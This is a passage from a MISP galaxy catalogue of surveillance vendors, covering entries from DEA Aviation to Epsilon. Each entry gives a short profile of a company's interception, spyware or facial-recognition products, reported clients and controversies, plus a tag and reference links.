DEA Aviation Ltd is a UK-based provider of airborne technologies to various clients, including Frontex, the European Border and Coast Guard Agency, and the UK Ministry of Defence. Their products include aircrafts equipped with high-fidelity sensors and surveillance systems to collect real-time data. This is used by Frontex to monitor land and maritime borders, targeting migrants particularly in regions like the Mediterranean and off the Libyan coast.

The tag is: *misp-galaxy:surveillance-vendor="DEA Aviation"*

Table 17666. Table References

Links
https://abolishfrontex.org/blog/2023/10/02/new-frontex-contracts-for-aerial-surveillance-flights/
https://www.statewatch.org/news/2022/june/frontex-big-spending-on-aerial-surveillance/
https://www.ses.com/sites/default/files/2021-06/Close-Up-with-DEA-Aviation-Ltd-Handbook.pdf
https://www.borderforensics.org/investigations/airborne-complicity/
https://www.africaintelligence.com/north-africa/2022/02/23/dea-aviation-doing-good-frontex-business-off-libyan-coast,109735983-art
https://abolishfrontex.org/blog/2021/08/23/frontex-awards-e84-5-million-in-aerial-surveillance-contracts/
https://www.intelligenceonline.com/surveillance—interception/2023/11/30/eu-changes-aerial-reconnaissance-supplier-in-sarajevo,110113568-art

Decision Group

Decision Group is a technology company based in Taiwan that provides solutions for lawful interception, network forensics, and surveillance. Their tools are designed to assist government agencies, enterprises, and intelligence organizations in monitoring and analyzing network traffic in real time. Their products include E-Detective, a real-time interception and forensics system capable of capturing, decoding, and reconstructing various types of Internet traffic, and Lawful Interception Suite (LI Suite), designed for targeted network surveillance. The suite consists of tools like iMediator (a mediation platform), iMonitor (for warrant administration and data presentation), and modules for decoding and archiving intercepted data.

The tag is: *misp-galaxy:surveillance-vendor="Decision Group"*

Table 17667. Table References

Links
https://edecision4u.com/LIS.html
https://www.atlanticcouncil.org/uncategorized/surveillance-technology-at-the-fair/
https://www.edecision4u.com/E-DETECTIVE.html
https://www.asmag.com/suppliers/productcontent.aspx?co=edecision4u&id=31607

DeepGlint

DeepGlint is a Beijing-based artificial intelligence company that develops computer vision and facial recognition technology. The company's systems can identify individuals and vehicles from distances up to 50 meters and alert authorities to specific activities. Its technology has been used by police agencies throughout China to track down individuals and for monitoring purposes. In 2021, the United States sanctioned DeepGlint for its involvement in human rights abuses, particularly related to the surveillance of Uyghur and other communities in China. It received early backing from Silicon Valley investor Sequoia Capital and became the first AI company listed on the Shanghai Stock Exchange STAR Market.

DeepGlint has a documented association with Microsoft through its participation in the Microsoft for Startups program. The program provided the company with resources such as Azure credits, mentorship, and office space.

The tag is: *misp-galaxy:surveillance-vendor="DeepGlint"*

Table 17668. Table References

Links
https://businessmirror.com.ph/2019/02/23/companies-behind-chinas-high-tech-surveillance-state/
https://www.theverge.com/2021/7/9/22570225/us-sanctions-chinese-facial-recognition-silicon-valley-funding
https://finance.yahoo.com/news/founder-chinese-ai-firm-deepglint-093000022.html
https://www.biometricupdate.com/201903/hyundai-mobis-invests-5-million-to-integrate-facial-biometrics-from-chinese-startup-deep-glint
https://www.biometricupdate.com/202012/huawei-allegedly-partnered-on-more-biometric-ethnicity-tracking-systems
https://www.scmp.com/tech/tech-trends/article/3171056/sanctions-hit-chinese-facial-recognition-firm-deepglint-muted
https://selectcommitteeontheccp.house.gov/media/letters/letter-sequoia-capital-its-prc-high-tech-investments-examine-implications-announced
https://restofworld.org/2024/microsoft-google-chinese-startup-incubator-police-surveillance/
https://www.federalregister.gov/documents/2021/07/12/2021-14656/addition-of-certain-entities-to-the-entity-list-revision-of-existing-entry-on-the-entity-list
https://www.businessnewsasia.com/2024032552385699-deepglint-igniting-ai-aspirations-amongst-malaysian-new-generation/

Defendec

Defendec is an Estonia-based border surveillance technology company. Its main product, Smartdec, provides wireless, AI-powered detection and video surveillance systems that are easily deployable. Smartdec's network of lightweight, camouflaged cameras and motion sensors provides real-time alerts and visual confirmation of targets.

Defendec has secured significant contracts with organizations such asiddl the U.S. Department of State. Even in regions with limited GSM coverage, such as parts of the Middle East or Southeast Asia, Defendec's CEO Jaanus Tamm highlights the system's adaptability, using local radio networks as a bridge to maintain connectivity.

The company is supported by a network of investors and collaborators who are heavily involved in the surveillance industry, including Rajat Khare, the Indian hacking-for-hire specialist who collaborated with many governments and companies to hack emails and private messages on behalf of clients.

The tag is: *misp-galaxy:surveillance-vendor="Defendec"*

Table 17669. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2024/12/02/defendec-racks-up-deals-with-un-washington-with-help-from-an-indian-ex-hacking-star-and-others,110346360-art
https://estonianworld.com/security/smart-border-guard-technology/
https://www.defaiya.com/news/Products/Products/2013/11/28/defendec-unveils-new-border-security-management-system
https://www.defendec.com/

DefSecIntel

DefSecIntel is an Estonian defense firm providing surveillance cameras and drones to Lithuania for use on its borders, specifically to monitor migrants. DefSecIntel also works in partnership with Weibel Scientific, a Danish radar technology company.

The tag is: *misp-galaxy:surveillance-vendor="DefSecIntel"*

Table 17670. Table References

Links
https://news.err.ee/1608328376/ak-estonian-private-sector-firm-equipping-lithuanian-border-guard
https://defence-industry.eu/weibel-scientific-and-defsecintel-solutions-announce-strategic-partnership-to-enhance-european-defence-capabilities/
https://www.defsecintel.com/

Digital Barriers

Digital Barriers is a provider of real-time video surveillance and analytics, primarily servicing law enforcement agencies. Its technologies include live video streaming over cellular networks, body cameras, and vehicle-mounted systems. The company has collaborated with Corsight AI to develop a facial intelligence system capable of real-time recognition using security cameras, body cams, and vehicle-mounted devices. Additionally, Digital Barriers has partnered with Sonic Communications to provide live surveillance capabilities for law enforcement agencies.

The company has also worked with NATO organizations and governments within the Five Eyes Anglosphere (United States, United Kingdom, Canada, Australia, and New Zealand). Their surveillance technologies have been deployed in military operations in Afghanistan and Iraq.

Digital Barriers has secured a contract with one of the largest police forces in Asia to install its TVI surveillance technology, a real-time live video streaming tool, in police vehicles as part of a multi-year program.

The tag is: *misp-galaxy:surveillance-vendor="Digital Barriers"*

Table 17671. Table References

Links
https://www.biometricupdate.com/202409/facial-recognition-for-essex-police-rolls-out-in-a-heavily-surveilled-environment
https://securitybrief.co.uk/story/digital-barriers-partners-with-sonic-for-advanced-surveillance-solutions
https://defence.nridigital.com/global_defence_technology_feb24/digital-barriers-impact-iot-defence
https://www.proactiveinvestors.co.uk/companies/news/66398/security-firm-digital-barriers-nabs-police-contract-in-asia-77494.html
https://www.proactiveinvestors.com/companies/news/43627/digital-barriers-wins-us-government-contract-to-develop-surveillance-technology-52036.html

Digital Clues

Digital Clues is a company that offers omnichannel intelligence tools, and which shares the same founder with the notorious surveillance firm AGT International, Mati Kochavi. Their technology focuses on kickstarting investigations and surveillance operations by collecting and connecting data when initial clues are scarce or non-existent, including from the "surface web, deep web and dark web." In 2021, it was acquired by Cellebrite, an Israeli digital intelligence company also featured here for its extensive surveillance activities, and whose technologies have been sold to police, military, law enforcement agencies, and secret services in over 150 countries.

The tag is: *misp-galaxy:surveillance-vendor="Digital Clues"*

Table 17672. Table References

Links
https://en.globes.co.il/en/article-cellebrite-buys-israeli-digital-intelligence-co-digital-clues-1001386884
https://www.jns.org/israeli-digital-intelligence-company-cellebrite-acquires-open-source-digital-clues/
https://www.accessnow.org/what-spy-firm-cellebrite-cant-hide-from-investors/

Digital Receiver Technology

Digital Receiver Technology (DRT), a subsidiary of Boeing since its acquisition in 2008, is a developer of surveillance and wireless communication tools, including IMSI catchers - devices used for intercepting mobile communications. These tools are widely utilized by intelligence and defense agencies for monitoring and gathering data. The company's clients include the U.S Department of Defense, U.S Department of the Army, and the U.S. Marshals Service.

In 2024, DRT was acquired from Boeing by Thales Defense and Security Inc (TDSI), a subsidiary of Thales.

The tag is: *misp-galaxy:surveillance-vendor="Digital Receiver Technology"*

Table 17673. Table References

Links
https://www.militaryaerospace.com/defense-executive/article/16718062/boeing-acquires-digital-receiver-technology
https://www.army-technology.com/news/boeing-sells-defence-surveillance-subsidiary-to-thales/
https://www.themarshallproject.org/2024/11/12/protest-surveillance-technologies
https://sls.eff.org/technologies/cell-site-simulators-imsi-catchers
https://www.washingtontechnology.com/2016/09/digital-receiver-technology-wins-97m-contract-for-portable-surveillance-equipment/322083/
https://openjurist.org/gov/prime-contract/dasc0102a0001-department-defense-digital-receiver-technology-i-piid-0001
https://openjurist.org/gov/prime-contract/djms06c0023-department-justice-digital-receiver-technology-incorporated

DigitalStakeout

DigitalStakeout provides tools for monitoring and analyzing social media, specifically catered to law enforcement agencies. An analysis of the Corvallis Police Department's use of DigitalStakeout over 13 months revealed demographic disparities in flagged social media posts, with a higher representation of Black and Hispanic people. The monitoring tool has been used by police departments and agencies to track hashtags like #BlackLivesMatter.

The tag is: *misp-galaxy:surveillance-vendor="DigitalStakeout"*

Table 17674. Table References

Links
https://arxiv.org/abs/2001.08777
https://blogs.oregonstate.edu/glencora/2020/01/28/weed-and-geotags-the-danger-and-uselessness-of-social-media-monitoring/

DigiTask

DigiTask GmbH is a German company that develops surveillance tools and spyware for law enforcement and intelligence agencies. Best known for its controversial "Bundestrojan" (Federal Trojan) spyware, DigiTask provides software capable of intercepting encrypted communications, including VoIP calls, by installing malware on target devices. Their tools include features like keylogging, screenshot capture, remote file access, and the ability to bypass encryption protocols like SSL by intercepting keys on local systems.

DigiTask's products, such as the "WifiCatcher," are designed for covert operations, enabling authorities to monitor public WiFi networks and track users across hotspots. The spyware has been described as unsophisticated and easily detectable by cybersecurity experts, as revealed by investigations from groups like the Chaos Computer Club.

The company's tools have been sold to various governments, including those in Germany, Austria, Switzerland, and the Netherlands.

The tag is: *misp-galaxy:surveillance-vendor="DigiTask"*

Table 17675. Table References

Links
https://www.dw.com/en/german-company-behind-government-spyware-admits-sale-to-bavaria/a-15453150
https://arstechnica.com/information-technology/2011/12/wikileaks-docs-reveal-that-governments-use-malware-for-surveillance/
https://web.archive.org/web/20111029134839/https://www.ccc.de/en/updates/2011/analysiert-aktueller-staatstrojaner
https://www.bitdefender.com/en-gb/blog/hotforsecurity/german-police-big-brother-on-skype-hotmail-gmail-and-facebook
https://www.technologyreview.com/2011/12/06/189326/the-cyber-security-industrial-complex/

Discovery Telecom Technologies

Discovery Telecom Technologies (DTT), based in Moscow with offices in Switzerland and Salt Lake City, Utah, specializes in telecommunications interception technology. Wired reports that their AIBIS system (In-Between Interception System) operates by impersonating a cell phone tower to capture nearby signals covertly, enabling operators to eavesdrop and record communications. The company's clientele reportedly includes the Kremlin and the Federal Security Service (FSB), as stated on its Russian website.

The tag is: *misp-galaxy:surveillance-vendor="Discovery Telecom Technologies"*

Table 17676. Table References

Links
https://www.wired.com/2013/05/russian-surveillance-technologies/

Draganfly

Draganfly Inc develops aerial surveillance drones. The company's drones come equipped with high-resolution video and thermal imaging used for monitoring and data collection. The Cochise County Sheriff's Department in Arizona uses Draganfly drones for its border surveillance activities.

The tag is: *misp-galaxy:surveillance-vendor="Draganfly"*

Table 17677. Table References

Links
https://www.wwlp.com/border-report-tour/arizona-sheriff-using-drones-for-border-surveillance/
https://draganfly.com/press-release/draganfly-ceo-to-keynote-at-police-innovation-showcase-2023/
https://draganfly.com/press-release/draganfly-unveils-new-apex-drone-the-next-evolution-in-military-and-law-enforcement-drone-systems/
https://draganfly.com/press-release/recent-draganfly-sales-and-activities-with-policing-agencies-signals-growing-focus-on-northern-canada-border-security/
https://www.commercialuavnews.com/public-safety/knightscope-signs-mou-with-draganfly

Dream Security

Dream Security is a company co-founded by Shalev Hulio, the former CEO of NSO Group, an Israeli technology firm known for developing sophisticated surveillance tools, including the Pegasus spyware. The other co-founders include Sebastian Kurz, the former chancellor of Austria, and Michael Eisenberg, an Israeli American venture capitalist who is also a general partner of Aleph, a Tel-Aviv-based venture capital firm which participated in funding for Dream.

As of early 2025, the company claimed $130 million in annual sales, primarily from government agencies.

The tag is: *misp-galaxy:surveillance-vendor="Dream Security"*

Table 17678. Table References

Links
https://en.globes.co.il/en/article-ex-nso-execs-raise-35m-for-dream-security-1001462971
https://theintercept.com/2024/01/18/israel-nso-group-shalev-hulio-dream-security/
https://en.globes.co.il/en/article-former-nso-ceo-and-ex-austrian-chancellor-found-startup-1001426631
https://www.wsj.com/articles/ex-ceo-of-nso-group-raises-33-6-million-for-israeli-cyber-startup-ae8e7399
https://www.timesofisrael.com/former-nso-ceo-ex-chancellor-of-austria-establish-new-cybersecurity-startup/
https://www.securityweek.com/ex-nso-group-ceos-security-firm-dream-raises-100m-at-1-1b-valuation/

Dreamlab Technologies

Dreamlab Technologies, a Swiss company, was involved in a surveillance project in Turkmenistan in partnership with Gamma International GmbH (creators of the FinFisher spyware). Documents leaked by WikiLeaks revealed that Dreamlab helped establish an "Infection Proxy Infrastructure" on Turkmenistan's networks, enabling widespread surveillance. This infrastructure allowed for the infection of devices through fake software updates, file downloads, or website injections, granting full access to personal data, emails, social media messages, and even enabling remote control of microphones and cameras. Dreamlab provided technical services, including network analysis, hardware and software installation, staff training, and system maintenance. The leaked documents suggest the two companies also collaborated for similar interception projects in Oman.

According to Intelligence Online, Dreamlab has since diversified its operations, creating new ventures like Slinf, a threat intelligence firm co-founded with German SIGINT experts, which develops tools such as RATspotting for detecting command-and-control servers and CyKnife for open-source intelligence. Dreamlab previously collaborated with German defense group Rheinmetall to create the consulting firm Cyel. In 2019, Cyel was split, with part of its operations integrated into Dreamlab and the rest taken over by Rheinmetall under the name Cyber Works.

Dreamlab maintains offices in Switzerland, Germany, Spain, Oman, Malaysia, Australia, New Zealand, Bolivia, Peru, India, Malaysia and Chile.

The tag is: *misp-galaxy:surveillance-vendor="Dreamlab Technologies"*

Table 17679. Table References

Links
https://dreamlab.net/en/contact/
https://www.fidh.org/IMG/pdf/cause_report_final.pdf
https://eurasianet.org/turkmenistan-british-complaint-bores-into-murky-world-of-spyware
https://www.intelligenceonline.com/surveillance—interception/2021/12/15/slinf-a-new-firm-of-german-sigint-veterans-takes-a-bow-at-iss,109711356-art
https://www.corpwatch.org/article/turkmenistan-and-oman-negotiated-buy-spy-software-wikileaks
https://ominvest.com/news/dreamlab-technologies-oman-and-nssg-forge-cybersecurity-powerhouse-propelling-omans-digital-future/

DSIRF

The spyware developer, officially named DSIRF (Decision Supporting Information Research and Forensic), and operating under the codename KNOTWEED, created the spyware Subzero, which was used to target law firms, banks, and consultancy firms in the UK, Austria, and Panama. According to Microsoft's Threat Intelligence Center (MSTIC), DSIRF employed various exploits to compromise systems, including a zero-day privilege escalation exploit for Windows and a remote code execution attack via Adobe Reader. Former Austrian Chancellor Sebastian Kurz has close business ties to DSIRF, as well as ties to the founder of the NSO Group, Shalev Hulio, whom he co-founded Dream Security with.

The tag is: *misp-galaxy:surveillance-vendor="DSIRF"*

Table 17680. Table References

Links
https://www.vindobona.org/article/austrias-connection-to-pegasus-spyware
https://www.theverge.com/2022/7/27/23281215/microsoft-austrian-commercial-spyware-dsirf-knotweed-intelligence-committee
https://arstechnica.com/information-technology/2022/07/microsoft-says-0-days-sold-by-austrian-firm-were-used-to-hack-customers/
https://www.reuters.com/technology/austrian-spy-firm-accused-by-microsoft-says-hacking-tool-was-eu-states-2022-07-29/
https://www.techtarget.com/searchsecurity/news/252523293/Microsoft-Austrian-company-DSIRF-selling-Subzero-malware

DVTEL

DVTEL is a developer of video surveillance systems that cover security configurations from cameras to control rooms. Their products integrate video analytics, access control, license plate recognition, and facial recognition technologies, serving global clients in law enforcement agencies. DVTEL, through its acquisition of Israeli company ioimage Analytics, provided video surveillance technology deployed at Israeli military bases and border security installations.

In 2015, DVTEL was acquired by FLIR Systems for $92 million in cash. In May 2021, FLIR Systems was acquired by Teledyne Technologies for $8 billion, leading to the formation of Teledyne FLIR. As a result, DVTEL now operates under the Teledyne FLIR brand.

The tag is: *misp-galaxy:surveillance-vendor="DVTEL"*

Table 17681. Table References

Links
https://en.globes.co.il/en/article-flir-systems-buys-video-surveillance-co-dvtel-for-92m-1001086000
https://www.securityinformed.com/news/co-9665-ga.8875.html
https://www.securitysales.com/news/dvtel_introduces_ioimage_video_analytics_enabled_hd_camera_at_asis/18205/
https://israel21c.org/israels-top-12-video-surveillance-advances/

EAB

Education Advisory Board (EAB) is an EdTech company headquartered in Washington, D.C. As part of a network of companies owned by Vista Equity Partners, EAB's products collect and analyze detailed data on students. The data collected spans a wide range of sensitive information, including demographics and behavioral metrics, which it then provides to schools, universities, and other third parties. EAB also utilizes predictive analytics and tracking tools to monitor student behaviors

and assess their likelihood of success or risk of dropping out.

The tag is: *misp-galaxy:surveillance-vendor="EAB"*

Table 17682. Table References

Links
https://www.prnewswire.com/news-releases/eab-to-become-a-standalone-company-300510669.html
https://themarkup.org/machine-learning/2022/01/11/this-private-equity-firm-is-amassing-companies-that-collect-data-on-americas-children
https://www.apmreports.org/episode/2019/08/06/college-data-tracking-students-graduation
https://themarkup.org/machine-learning/2021/03/02/major-universities-are-using-race-as-a-high-impact-predictor-of-student-success

EagleMsgSpy

EagleMsgSpy is a mobile surveillance tool for Android and iOS devices developed by Wuhan Chinasoft Token InfoTech Co., Ltd. Since 2017, it has been deployed by police across multiple Chinese provinces to collect SMS, audio, and geolocation data. Despite its widespread use, the company remained under the radar until its spyware activities were publicly exposed in December 2024.

The tag is: *misp-galaxy:surveillance-vendor="EagleMsgSpy"*

Table 17683. Table References

Links
https://www.lookout.com/threat-intelligence/article/eaglemsgspy-chinese-android-surveillanceware
https://www.darkreading.com/cyberattacks-data-breaches/chinese-cops-using-android-spyware-track-mobile-devices
https://home.treasury.gov/news/press-releases/jy2205

Echelon Edge

Echelon Edge, in collaboration with Synergy Telematics, has deployed India’s largest AI-driven surveillance and crowd management system for the Maha Kumbh. This system utilizes AI, big data analytics, and real-time monitoring, providing alerts and insights to police agencies in India. In an op-ed, the company’s founder and CEO, Gaurav Gandhi, wrote about the evolution of criminal profiling and prediction: "AI pulls in raw data from multiple sources - CCTV footage, law enforcement records, public databases, even social media activity. It then analyses behavioural patterns, identifying anomalies based on past movements, known risk factors, and predictive modeling."

The tag is: *misp-galaxy:surveillance-vendor="Echelon Edge"*

Table 17684. Table References

Links
https://telecomtalk.info/echelon-edge-ai-crowd-management-system-mahakumbh2025/991759/
https://www.thehansindia.com/hans/education-careers/balancing-safety-and-privacy-in-the-era-of-ai-surveillance-964839

Echo-On Technologies

Echo-On Technologies was founded in 2018 as a subsidiary of the Israeli firm Rayzone Group. Its primary product, Echo, is a surveillance tool designed to exploit vulnerabilities in telecommunications systems like SS7. It enables capabilities such as real-time location tracking, call interception, and SMS message retrieval. Echo is marketed primarily to governments and law enforcement agencies for intelligence gathering and surveillance purposes. It has reportedly been used in Mexico. The purchase was made via Neolinx, an intermediary in Mexico used to purchase surveillance equipment.

The tag is: *misp-galaxy:surveillance-vendor="Echo-On Technologies"*

Table 17685. Table References

Links
https://www.calcalistech.com/ctech/articles/0,7340,L-3884553,00.html
https://www.intelligenceonline.com/surveillance—interception/2021/01/21/rayzone-s-interception-modus-operandi-exposed-by-legal-cases,109636393-art
https://r3d.mx/2021/04/14/fiscaliaespia-la-fgr-adquirio-equipo-capaz-de-espiar-ilegalmente-a-todos-los-usuarios-de-internet-en-mexico/
https://oem.com.mx/elsoldemexico/mexico/empresa-de-espionaje-surte-tinta-a-hacienda-16963340
https://www.reporteindigo.com/nacional/FGR-gasto-5.6-millones-de-dolares-en-programas-de-espionaje-masivo-de—telefonos-celulares-20210414-0060.html

Echodyne

Echodyne is a company that develops compact, high-performance radar systems powered by its proprietary Metamaterial Electronically Scanning Array (MESA) technology. The company's radar is used in drone surveillance, border security, and perimeter monitoring. Its technology has been adopted by U.S. federal agencies, including Customs and Border Protection (CBP), for surveillance operations along the U.S.-Mexico border.

The tag is: *misp-galaxy:surveillance-vendor="Echodyne"*

Table 17686. Table References

Links
https://www.echodyne.com/applications/government/border-security-radar/

https://www.businessinsider.com/echodyne-bill-gates-startup-cbp-us-mexico-border-patrol-surveillance-2020-1
https://www.suasnews.com/2021/11/echodyne-awarded-20m-idiq-contract-from-the-u-s-dhs-customs-border-protection-agency/
https://www.geekwire.com/2021/echodyne-wins-20m-contract-radar-systems-designed-watch-u-s-borders/
https://www.zdnet.com/article/bill-gates-paul-allen-back-radar-startup-echodyne-in-29m-round/
https://www.echodyne.com/applications/government/
https://openworksengineering.com/openworks-develops-autonomous-surveillance-for-border-security/

EDGE

EDGE, officially known as "EDGE Group," is a prominent defense conglomerate headquartered in Abu Dhabi, UAE. It was established in November 2019 as part of the UAE government's efforts to consolidate and modernize the country's defense industry. In 2022, it absorbed Digital14, a cybersecurity firm based in the Abu Dhabi and which had resumed the operations of DarkMatter, which operated under the codename Project Raven. Project Raven employed former NSA operatives and other foreign contractors to conduct hacking and surveillance activities, often targeting individuals and entities deemed as threats to the UAE government, such as journalists and human rights activists. In 2024, Edge partnered with the São Paulo State Government on a surveillance project called "Crystal Ball."

The tag is: *misp-galaxy:surveillance-vendor="EDGE"*

Table 17687. Table References

Links
https://www.defensehere.com/en/edge-group-in-partnership-with-brazilian-state-on-public-security
https://www.intelligenceonline.com/surveillance—interception/2022/08/25/after-the-takeover-of-cyber-specialist-digital14-edge-heads-into-asia,109806823-eve
https://english.elpais.com/international/2025-05-10/in-sao-paulo-big-brother-is-watching-with-25000-cameras-and-facial-recognition-technology.html

EDGE NPD

EDGE NPD, a Polish software company, developed ABTShield, a tool designed to monitor online narratives and identify disinformation and foreign influence campaigns. ABTShield claims to offer a range of surveillance capabilities, including the ability to compile social media posts by keywords or topics, track specific social media accounts and analyze social reactions to news and articles. The tool reportedly collects data from platforms like Facebook, Twitter, Parler, and Telegram, as well as news sources, forums, and blogs.

During a pilot with the Los Angeles Police Department (LAPD) in late 2020, the tool gathered

millions of tweets related to topics such as Black Lives Matter and "defund the police" movements. The tool also vacuumed up data on the conflict between Armenia and Azerbaijan, citing Los Angeles' large Armenian population, and included usernames and geolocation data of the tweets it gathered.

Known clients of ABTShield include the LAPD and the U.S. Embassy in Warsaw, which purchased licenses for the tool in 2020 and 2021.

The tag is: *misp-galaxy:surveillance-vendor="EDGE NPD"*

Table 17688. Table References

Links
https://www.theguardian.com/us-news/2021/dec/15/revealed-los-angeles-police-social-media-surveillance-technology
https://www.brennancenter.org/our-work/analysis-opinion/documents-reveal-lapd-collected-millions-tweets-users-nationwide
https://www.brennancenter.org/our-work/research-reports/data-lapds-trial-abtshield
https://www.brennancenter.org/our-work/research-reports/third-party-vendors-social-media-monitoring-tools-law-enforcement
https://sls.eff.org/technologies/social-media-monitoring

Ekin

Ekin Technology, a Turkish firm, is a developer of AI-driven smart city surveillance systems, including facial recognition and license plate recognition (LPR). Their products, such as the Ekin Patrol G2 and Ekin Spotter, integrate multiple surveillance functions into mobile and fixed platforms. These systems are designed for real-time data analysis and centralized control via their Red Eagle operating system.

The tag is: *misp-galaxy:surveillance-vendor="Ekin"*

Table 17689. Table References

Links
https://www.policemag.com/technology/article/15311551/more-than-just-license-plate-readers
https://financialtribune.com/articles/economy-sci-tech/42476/turkish-tech-firm-seeking-iranian-partner
https://www.pressebox.com/pressrelease/ekin-technology/Ekin-Technology-introduced-the-new-era-of-face-recognition-technology/boxid/839323
https://www.officer.com/vehicles-fleet/vehicles-equipment/bicycles-accessories/press-release/20988054/enabling-law-enforcement-to-more-efficiently-and-effectively-protect-the-public-ekin-ekin-safe-city-products-are-now-available-to-united-states-law-enforcement-security
https://whatson.ae/2015/06/abu-dhabi-police-hypercar-lykan-hypersport-announced/

https://www.pressebox.com/pressrelease/ekin-technology/Ekin-Technology-makes-a-hit-in-the-Middle-East-and-United-States-with-the-worlds-very-first-smart-patrol/boxid/766533
https://www.ekin.com/solutions/law-enforcement

Elbit Industries

Elbit Systems is a leading military tech exporter in Israel, specializing in various advanced surveillance technologies, deployed in space, air, sea and ground operations. Its surveillance systems, drones, and other high-tech tools, which are used in violent military operations and in high demand worldwide.

The tag is: *misp-galaxy:surveillance-vendor="Elbit Industries"*

Table 17690. Table References

Links
https://www.aljazeera.com/features/2023/11/17/israels-weapons-industry-is-the-gaza-war-its-latest-test-lab

ELISE

ELISE is a product of the WCC Group, a company that develops advanced search and matching technologies for identity management. Used primarily for law enforcement and border control, ELISE accesses and analyzes data from disparate databases and supports fingerprint, iris, face, and voice recognition. It also designed to store and analyze biographic data including name, age, and physical attributes. It has been used for "refugee management" and visa application systems.

The tag is: *misp-galaxy:surveillance-vendor="ELISE"*

Table 17691. Table References

Links
https://privacyinternational.org/explainer/29/101-integrated-policing
https://www.wcc-group.com/id-security/products/elise-id-platform/
https://www.prnewswire.com/news-releases/wcc-smart-search—match-announces-elise-in-the-cloud-115714669.html
https://www.hpcwire.com/2004/04/30/elise-delivers-new-speeds-accuracy-on-mega-data-searches/
https://mergr.com/transaction/avedon-capital-partners-acquires-wcc-group

Elm

Elm is a Saudi government-owned technology company operating under the Public Investment Fund (PIF). The entity develops and manages platforms that facilitate state surveillance. These include systems for biometric identification, digital identity, predictive analytics, and population tracking through integrated government databases. Elm has built platforms for border control and

law enforcement analytics, and has contracts with the country's Ministry of Interior.

The tag is: *misp-galaxy:surveillance-vendor="Elm"*

Table 17692. Table References

Links
https://www.researchgate.net/publication/268199786_Biometrics_and_identity_management_for_homeland_security_applications_in_Saudi_Arabia
https://www.arabnews.com/node/2200266/business-economy
https://techafricanews.com/2025/02/11/salam-and-elm-power-saudi-arabias-digital-evolution-with-cutting-edge-innovation/
https://elm.sa/en/elm-live/news/Pages/Elm-showcases-suite-of-key-digital-products-and-services-at-GITEX-Global-2024.aspx

Elsight

Founded in 2009 by Nir Gabay and Roee Kash, Elsight is a company specializing in advanced communication technologies, particularly known for its innovative surveillance drones. These drones are designed to provide real-time data transmission for various applications, including "defense." Since October 7th, 2023, there has been a notable increase in demand for Elsight's systems from different defense entities. However, the company's management is unwilling to be transparent about this uptick in sales. They indicate that the heightened interest has a growing emphasis on military and defense applications, a trend expected to persist moving forward. "Military organizations worldwide have recognized the value of integrating cellular infrastructure for diverse operational uses," the company stated in an interview with Haaretz. Elsight has integrated its Halo connectivity platform with Lockheed Martin's Indago 4 quadcopter uncrewed aerial vehicle (UAV).

The tag is: *misp-galaxy:surveillance-vendor="Elsight"*

Table 17693. Table References

Links
https://www.elsight.com/vertical-industries/drones-in-military-and-defense/
https://www.haaretz.com/haaretz-labels/2024-03-11/ty-article-labels/beyond-the-line-of-sight-the-company-that-is-redefining-the-internet-of-drones/0000018e-2e0a-dd22-a5fe-7e1be9dc0000

Endace

Endace, a New Zealand-based company, is a developer of high-speed network monitoring and packet capture technology. Its tools, such as the EndaceProbe Analytics Platform, are designed for network performance monitoring. These tools provide deep visibility into network traffic. Leaked documents have revealed that Endace's technology has been used to support mass surveillance efforts by governments worldwide. The company's tools have reportedly enabled the interception of private emails, online chats, social media activity, and other internet communications. Endace

has sold its technology to various countries, including the United States, the United Kingdom, Canada, and Israel, among others.

Endace was acquired by Emulex Corporation, a U.S.-based company that provides similar network connectivity and monitoring services, in February 2013.

The tag is: *misp-galaxy:surveillance-vendor="Endace"*

Table 17694. Table References

Links
https://theintercept.com/2016/10/23/endace-mass-surveillance-gchq-governments/
https://boingboing.net/2016/10/24/tax-funded-nz-company-sold-mas.html
https://www.cyberdefensemagazine.com/publishers-spotlight-endace/
https://techcrunch.com/2016/10/23/uk-spy-agency-gchq-paid-nz-firm-endace-to-power-internet-fiber-optic-taps/
https://www.prnewswire.com/news-releases/emulex-completes-acquisition-of-endace-200865051.html

Endeca

Endeca, a data analytics company, developed software capable of real-time social media monitoring and analysis, which was used by law enforcement agencies, such as the Chicago Police Department, to track and analyze protester activities during events like the 2012 NATO protests. The software allowed authorities to merge social media data with other datasets, such as crime records and 911 calls, enabling targeted surveillance and sentiment analysis. Oracle acquired Endeca in 2011, integrating its data analytics and monitoring capabilities into Oracle's broader goals towards AI-powered surveillance services.

The tag is: *misp-galaxy:surveillance-vendor="Endeca"*

Table 17695. Table References

Links
https://theintercept.com/2021/05/25/oracle-social-media-surveillance-protests-endeca/
https://www.corpwatch.org/article/oracle-marketed-surveillance-technology-chinese-police
https://gigazine.net/gsc_news/en/20210527-oracle-surveillance-protests-endeca
https://privacyinternational.org/explainer/29/101-integrated-policing

Endoacustica

Endoacustica Europe, headquartered in Bari, Italy, is a provider of surveillance technologies. Their product lineup includes high-performance International Mobile Subscriber Identity (IMSI) catchers, which enable the detection and tracking of mobile devices by emulating legitimate cell towers, compelling nearby mobile phones to connect and capturing their IMSI numbers. This is used by law enforcement and intelligence agencies in monitoring and intercepting mobile communications.

According to its official website, Endoacustica's products are generally utilized by government agencies, law enforcement bodies, and security organizations requiring mobile surveillance and communication interception capabilities. These products include spy micro cameras, mini WiFi 4G IP Umts cameras, video surveillance drones, cellular spy, spy earphones, as well as various gadgets for related activities.

The tag is: *misp-galaxy:surveillance-vendor="Endoacustica"*

Table 17696. Table References

Links
https://www.prlog.org/13039356-endoacustica-launches-advanced-imsi-catcher-for-secure-communication-control.html
https://www.nbc4i.com/business/press-releases/ein-presswire/681872605/endoacustica-launches-new-line-of-advanced-surveillance-devices/
https://www.endoacustica.com/blogen/2024/08/22/imsi-catcher/
https://www.webwire.com/ViewPressRel.asp?aId=330755
https://www.endoacustica.com/

Epsilon

Epsilon is a Barcelona-based cybersecurity company specializing in developing exploits and targeting the American market. Founded by a group of elite researchers formerly linked to the Australian firm Azimuth, which was acquired by U.S. defense contractor L3Harris, Epsilon is led by a French researcher Jeremy Fetiveau (who used to work for L3Harris Trenchant) and also involves two Israeli partners, the founders of Bindecy, a lesser-known Israeli spyware firm.

Epsilon focuses on creating spyware tools tailored to the needs of intelligence agencies and law enforcement, specifically for clients demanding exclusive, custom-built solutions rather than off-the-shelf spyware.

The tag is: *misp-galaxy:surveillance-vendor="Epsilon"*

Table 17697. Table References

Links
https://www.haaretz.com/israel-news/security-aviation/2024-12-26/ty-article/.premium/israeli-hackers-flock-to-barcelona-as-spyware-industry-shifts/00000193-fec4-df5b-a9b3-fec5d9dc0000
